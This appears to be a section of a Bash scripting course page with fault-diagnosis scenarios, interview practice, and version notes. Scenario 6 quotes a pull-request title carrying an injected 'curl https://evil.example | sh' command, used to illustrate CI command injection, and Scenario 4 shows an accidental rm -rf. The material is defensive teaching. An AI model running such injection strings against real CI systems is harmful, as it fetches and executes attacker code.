SC2181Check exit code directly with e.g. 'if ! mycmd;', not indirectly with $?.#18
SC2155Declare and assign separately to avoid masking return values.#27
SC2164Use 'cd ... || exit' or 'cd ... || return' in case cd fails.#31
SC3010 / SC3030 / SC3046 / SC3037 / SC2113In POSIX sh, [[ ]] / arrays / 'source' / echo flags are undefined; 'function' keyword is non-standard.#40
SC2024sudo doesn't affect redirects. Use ..| sudo tee file#43

Comprehensive exercises + mock interview

8 mixed fault scenarios (look at the symptoms first, judge for yourself, then expand the answer) · a full mock interview drawing 10 random questions out of 50 · final quiz
After class ≈ 40 minutes

I. Comprehensive fault drills

Each scenario combines several problems from Part A. First write down your first diagnostic command and your judgment, then expand the answer.

Scenario 1: A new colleague edited the deployment script on Windows; CI failed; after the fix, the script finished and reported "deployment succeeded", yet production still runs the old version
deploy.sh: line 2: $'\r': command not found
(after fixing the line endings) cp: cannot stat 'build/app.tgz': No such file or directory
deploy reported success
CI step: no shell: was written, so the default is bash -e {0}

Answer: CRLF (#13) → .gitattributes eol=lf; deploy the function is called in if deploy; then , and inside the function body set -e is ineffective (#26) → inside the function, cp … || return; the CI default shell has no pipefail (#45) → defaults.run.shell: bash. Improvement: verify the live version after deployment (Q42).

Scenario 2: The nightly backup "succeeds" every day, but during a restore drill the file turned out to be only 20 bytes, and the 9 o'clock backup never ran
ls -l backup-2026-11-16.sql.gz → 20 bytes
mysqldump: Got error: 1045: Access denied … (only on stderr, not logged)
backup.sh: line 9: 09: value too great for base (error token is "09")

Answer: No pipefail, so the mysqldump failure is masked by gzip (#28); using $(date +%H) for arithmetic, the 08 and 09 o'clock runs report an octal error (#8) → 10#$h. Improvement: check backup size and integrity, send stderr to the log, run restore drills (Q39).

Scenario 3: The inspection script works fine when run manually; once in cron it only checks the first host, and the reported error count is always 0
cron mail: /bin/sh: 1: jq: not found (from another job)
check.sh: while read h; do ssh "$h" … ; done < hosts → only web1
cat app.log | grep ERROR | while read l; do ((n++)); done; echo "errors=$n" → errors=0

Answer: cron's PATH is minimal (#39) → set PATH in the script; ssh swallows the loop's stdin (#16) → ssh -n / read -u 3; the while in a pipeline runs in a subshell (#15) → grep -c count in one pass.

Scenario 4: A cleanup job on a new machine deleted everything in the deploy user's home directory
crontab: 0 3 * * * /opt/tools/clean.sh
clean.sh: cd $WORKDIR/tmp; rm -rf *
The new machine has no WORKDIR; cron's working directory is $HOME

Answer: Empty variable + cd unhandled failure (#2, #31), in cron's $HOME working directory, executed rm -rf * (#39). Fix: ${WORKDIR:?},cd … || exit, delete a dedicated directory, ShellCheck SC2164 / SC2115 gate (Scenario 8-1).

Scenario 5: An entrypoint script in an Alpine container: docker stop exits with 137, and the logs also show Syntax error
Dockerfile: CMD ["sh", "/entrypoint.sh"]
/entrypoint.sh: line 3: syntax error: unexpected "("
docker inspect … ExitCode=137 OOMKilled=false

Answer: Running via sh (BusyBox ash) ran a Bash script with arrays (#40) → install bash and run it with CMD ["/entrypoint.sh"] + shebang; bash as PID 1 does not handle SIGTERM (#33) → at the end of the entrypoint exec "$@" or --init (Q37). Error wording follows the actual BusyBox version.

Scenario 6: A cloud platform token appeared in the CI log; in the same pipeline, a PR title made the runner execute a strange command
+ curl -H 'Authorization: Bearer eyJ0eXAi…' https://api…
run: echo "Building ${{ github.event.pull_request.title }}"
PR title: fix"; curl https://evil.example | sh; echo "

Answer: Trace turned on during debugging set -x leaked the token (#46) → revoke and rotate immediately,{ set +x; } 2>/dev/null, pass the token via stdin; expressions inlined directly into the script caused injection (#11, Q46) → first put them into env: and then reference them as "$TITLE" .

Scenario 7: A colleague on a Mac cannot run the bootstrap script; a colleague in Germany gets reports full of comma decimals; two teams get different set-difference results for the same list
bootstrap.sh: line 12: declare: -A: invalid option
printf: 3.14159: invalid number → 3,00
The result of comm -23 a.sorted b.sorted differs on the two machines

Answer: macOS /bin/bash macOS's bash is 3.2 (#41) → #!/usr/bin/env bash + version check; LC_NUMERIC printf uses a comma decimal separator (#21); sort and comparison locales do not match (#20) → at the top of the script, export LC_ALL=C.

Scenario 8: The sync job that runs every 5 minutes keeps getting slower, machine load eventually spikes, and the counter results are also wrong
pgrep -fa sync.sh → 7 instances
/tmp/sync-result.json is written by several instances at the same time
for id in …; do process_item $id & done; wait → exit code is always 0
counter file: expected 200, actual 37

Answer: No lock → overlap (#35), fixed /tmp filename (#34), no concurrency limit, and wait swallows failures (#36), read-modify-write race (#37). For the fix see Q49: flock, mktemp,xargs -P, each task writes its own output and summarizes afterwards, timeout.

II. Full mock interview (10 questions drawn at random from 50)

Each question has a 2-minute countdown: answer aloud first (you can write key points in the text box), then expand the reference answer, and self-rate as "answered / partial / not sure". At the end, the score for this round is shown, along with the cumulative mastery rate by module. Self-assessment results are saved in this browser.

III. Open-ended self-test (6 questions)

  1. Draw rm -- "${dir:?}/"* the expansion pipeline from reading to execution, and mark the step at which #1, #2, #6, #7 and #50 are blocked.
  2. Without consulting any material, write out from the Bash manual set -e all the exceptions, and for each one give a production consequence.
  3. Write a general safe reading-loop template, and explain which Part A problem each part solves (#12–#16).
  4. List at least 8 differences between an interactive terminal and cron, systemd, GitHub Actions and Alpine containers, and give the first 10 lines that make a script self-sufficient.
  5. Run a 15-minute code review on a real script from your team, and output the problem list and a corrected version using the five-step method in Figure 8-1.
  6. For opsctl's backup subcommands, design bats tests covering at least five cases: empty arguments, missing directory, mysqldump failure, concurrent runs and Ctrl-C interruption.

IV. Final quiz (12 questions)

Sources and version notes

Verified: 2026-11-17 · Version baseline: GNU Bash 5.3 (5.3.20) · compared with 5.2.21 / 5.2.37 / 3.2.57 · ShellCheck 0.11.0

Version and tool facts

ItemFacts used in this lessonSource (accessed 2026-11-17)
GNU Bash5.3 was released in 2025-07 (on ftp.gnu.org, bash-5.3.tar.gz dated 2025-07-30); official patches have reached bash53-020 (2026-09-14), i.e. 5.3.20; the last release in the 5.2 series is 5.2.37. New features in 5.3 (NEWS): ${ command; } / ${| command; },GLOBSORT,array_expand_once (replacing assoc_expand_once),BASH_TRAPSIG,read -E,source -p PATH,bash_source_fullpathftp.gnu.org/gnu/bash · NEWS in the bash-5.3 source package
set -e / -u / pipefail original textexception rules, “a function executed in an ignored context is entirely unaffected by -e”,-u for @/* exceptions, pipefail definitionBash manual: The Set Builtin
Docker official imagebash:5.3 = 5.3.20 (Alpine 3.24 base, BusyBox v1.37.0 tools); bash:3.2 = 3.2.57Docker Hub: bash
ShellCheckv0.11.0 (2025-08-04); the SC numbers and messages cited in this lesson are all koalaman/shellcheck:v0.11.0 obtained by actual runsShellCheck releases
shfmtv3.14.1 (2026-09-06)mvdan/sh releases
bats-core and helper librariesbats-core v1.14.0, bats-support v0.3.0, bats-assert v2.2.4bats-core releases
jq / yq / GNU paralleljq 1.8.2 (the #25 tests in this lesson use the jq 1.7 bundled with Debian 13; behavior is the same); mikefarah yq v4.54.3; GNU parallel 20261022jq · yq · parallel
GitHub Actions default shellWhen not specified (Linux/macOS): bash -e {0}; shell: bash: bash --noprofile --norc -eo pipefail {0}GitHub Docs: workflow syntax
Google Shell Style Guidefunction naming,main,local, constants, “consider switching languages beyond about 100 lines”, and similar key pointsShell Style Guide

Actual run environments (sources of raw error messages)

LabelEnvironmentUsed for
Bash 5.3.20 · bash:5.3 containerDocker 28.5.1, official image bash:5.3 (musl, BusyBox tools)#2–#4, #6–#12, #14–#17, #29, #30, #36, #49 etc. Bash's own errors; #48 BusyBox errors; #33 PID 1 experiment
Bash 5.2.21 · Ubuntu 24.04 / WSL2GNU coreutils 9.4, GNU findutils/sed/tar, util-linux flock, dash#1, #5, #13, #22, #23, #24, #26, #31, #32, #34, #35, #37, #38, #39, #40, #42, #44–#47, #50 etc. GNU tool wording
Bash 5.2.37 · Debian 13 containerGNU coreutils 9.7, glibc locales (en_US / de_DE / tr_TR), gawk, jq 1.7#20, #21, #25
Bash 3.2.57 · bash:3.2 containersame as the macOS built-in version#41
ShellCheck 0.11.0 containerkoalaman/shellcheck:v0.11.0all SC numbers and original messages

Video verification notes

All videos were checked on 2026-11-17 via the YouTube oEmbed interface (https://www.youtube.com/oembed?url=…&format=json) for title and channel; oEmbed does not return duration or publication date, so these are not shown. Verified: anthonywritescode “bash quoting is really not that difficult! (beginner - intermediate) anthony explains #426” (VIUoHnFwEH4); “bash "strict mode": -euo pipefail (beginner - intermediate) anthony explains #201” (9fSkygQ-ZjI); “bash strict mode gotcha (intermediate) anthony explains #453” (oqq5k8XsrSs); “bash: special redirection (intermediate) anthony explains #311” (3f8xjDr789Q); Tech with Hazem “#14 The Bash Rule That Deletes the Wrong Files (Word Splitting) - Introduction to Linux Command Line” (p2ew_qfJGwQ); Nick Janetakis “Prevent Unset Variables in Your Shell / Bash Scripts with set -o nounset” (Kly_6DhfHwE), “3 Practical Examples of Using Bash While and Until Loops” (-Cvo_yipfrU); You Suck at Programming “test vs [ vs [[: Bash Conditionals Explained! You Suck at Programming #066” (6QdNixBS4wc), “Proper `for` loops in Bash - `for` vs `while` loops - You Suck at Programming #038” (TVzG-vc1lWM), “Finding files - the `find` Command and Shell Globbing - You Suck at Programming #058” (FpOZGoq4Ogc), “The Problem with Bash 'Strict Mode' - Why I Don’t Use `set -euo pipefail`” (4Jo3Ml53kvc), “Trapping signals with `trap` in Bash! Responding to Unix signals. You Suck at Programming #064” (aXovP1sUtoE), “The Complete Bash Scripting Course - Full Length Guide to learning the Bash Shell” (Sx9zG7wa4FA); DistroTube “'xargs' - execute command lines from standard input - Video Man Pages” (tUkQcvytVtw); Low Orbit Flux “Linux Command - flock” (NJ6VzhTqMWY); Learn Linux TV “Linux Crash Course - Scheduling Tasks with Cron” (7cbP7fzn0D8), “How To Write Bash Scripts In Linux - Complete Guide (Part 1 - Introduction)” (2733cRPudvI); Delft Stack “Why Crontab Scripts Are Not Working? [Linux/Ubuntu GUIDE]” (edzz_qcBet8); Fresh Forensics by Douglas Habian “Check Your Bash Scripts With Shellcheck” (Dmb42DW7Rzk); Fireship “Bash in 100 Seconds” (I4EWvMFj37g); freeCodeCamp.org “Bash Scripting Tutorial for Beginners” (tK9Oc6AEnR4); linuxhint “Bash Scripting Full Course 3 Hours” (e7BufAVwDiM); NetworkChuck “you need to learn BASH Scripting RIGHT NOW!! // EP 1” (SPwyp2NG-bE); theurbanpenguin “Test-Driven Development (TDD) Tutorial: Unit Testing Bash Scripts with Bats on Rocky Linux 10” (EHUE3i8izew); Gabriel Starczewski - Performance Testing “BATS - What is Bash Automated Testing System and how to use it on Azure pipelines” (Wm-HpV4Qze8); TechTooniya “Bash trap Command Explained: Catch SIGINT, SIGTERM, and Clean Up on EXIT” (SzSCsSV77q0); DGR Uploads “15 Advanced Bash Scripting Interview Questions (DevOps Focus): Error Handling & Safe Automation” (AmAwv4d3vIs), “Top 15 Shell Scripting Interview Questions for DevOps | Shell Scripting Interview Prep | DevOps prep” (DZBZnLU-PHs); Red9SysTech “Real-World Shell Scripting Interview Questions: Put Your Skills to the Test | Hands on| Red9SysTech” (c5ykWmSJeHc); edureka! “Shell Scripting Interview Questions & Answers | Linux Admin Certification Training | Edureka” (6ue2luv2I-Y); tutoriaLinux “Popular Linux Interview Questions for DevOps Interviews” (GdrjTVDelI0). No verified video was found that specifically covers empty-variable + rm -rf guards, octal traps, command injection, and CRLF $'\r' errors, loop swallowing stdin, locale and decimal points, SIGPIPE 141,wait return values, container PID 1 signals, Bash 3.2 compatibility, xtrace secret leaks, glob option injection, nameref / dynamic scope, and Bash code review; the relevant pages provide storyboards or notes. Third-party videos (especially interview-style ones) vary in answer quality and may be based on older versions; use them for reference only.

Voice notes

The "Voice" tab uses the browser's built-in Web Speech API (Chinese zh-CN, English terms en-US); it uploads no data, and the courseware has no embedded audio. A Chinese voice pack must be installed on the system; if there is none, read the script directly or use another TTS tool.

Known limitations

  • Output labeled as "actual run results" was executed on 2026-11-17 in the environments above; PIDs, temp directory names, timestamps and path prefixes (for example bash: line 1: and script name: line N:,-bash: interactive prompts) vary with how the command is invoked. On Ubuntu 26.04 (Bash 5.3 + rust-coreutils), ls,sort,date,cat and similar tools' error wording may differ from the GNU coreutils 9.4 cited in this lesson,not tested one by one on 26.04; follow the actual output.
  • Content labeled "follow the actual output" or "example" has not been checked word for word: macOS/BSD sed -i error wording,comm the "not in sorted order" hint of, BusyBox ash errors on array syntax (Scenario 5), the prompts of original sudo and sudo-rs, and how Bash handles ssh host cmd whether it reads ~/.bashrc (depends on build options), Debian cron's default PATH, and dash 0.5.13+ support for pipefail and $'…' support, gawk --csv starting version, and the example PIDs and directory names in lab steps.
  • The en_US.UTF-8 sort results for #20 come from Debian 13's glibc; collation rules can differ between glibc versions, which is exactly the point of that problem.
  • In #33, docker stop the wait duration depends on --stop-timeout and the daemon configuration (Docker defaults to 10 seconds; the configuration in our test environment is 1 second). This lesson only cites the verified results for exit codes 137 / 143.
  • The concurrent count results for #37 differ on every run (measured 3 / 200); >> the conclusion that small appends do not interleave applies only to a single write small write on a local filesystem.
  • Conservative handling: the version in which each feature was introduced between Bash 3.2 and 4.4 is written from the general descriptions in Bash NEWS/CHANGES (associative arrays 4.0, nameref 4.3,wait -n 4.3,inherit_errexit and empty arrays set -u fix 4.4,EPOCHREALTIME 5.0); CHANGES was not checked item by item; the Kubernetes default grace period of 30 seconds and the meanings of curl exit codes are taken from the general descriptions in their respective documentation.
  • URLs, hostnames and version numbers in the Part B code examples (such as tools.example.com/v1.4.2,actions/checkout@v5) are examples; for Action versions, use the official repository.
  • Mock-interview self-assessment records are stored only in the current browser's localStorage and will be lost if site data is cleared.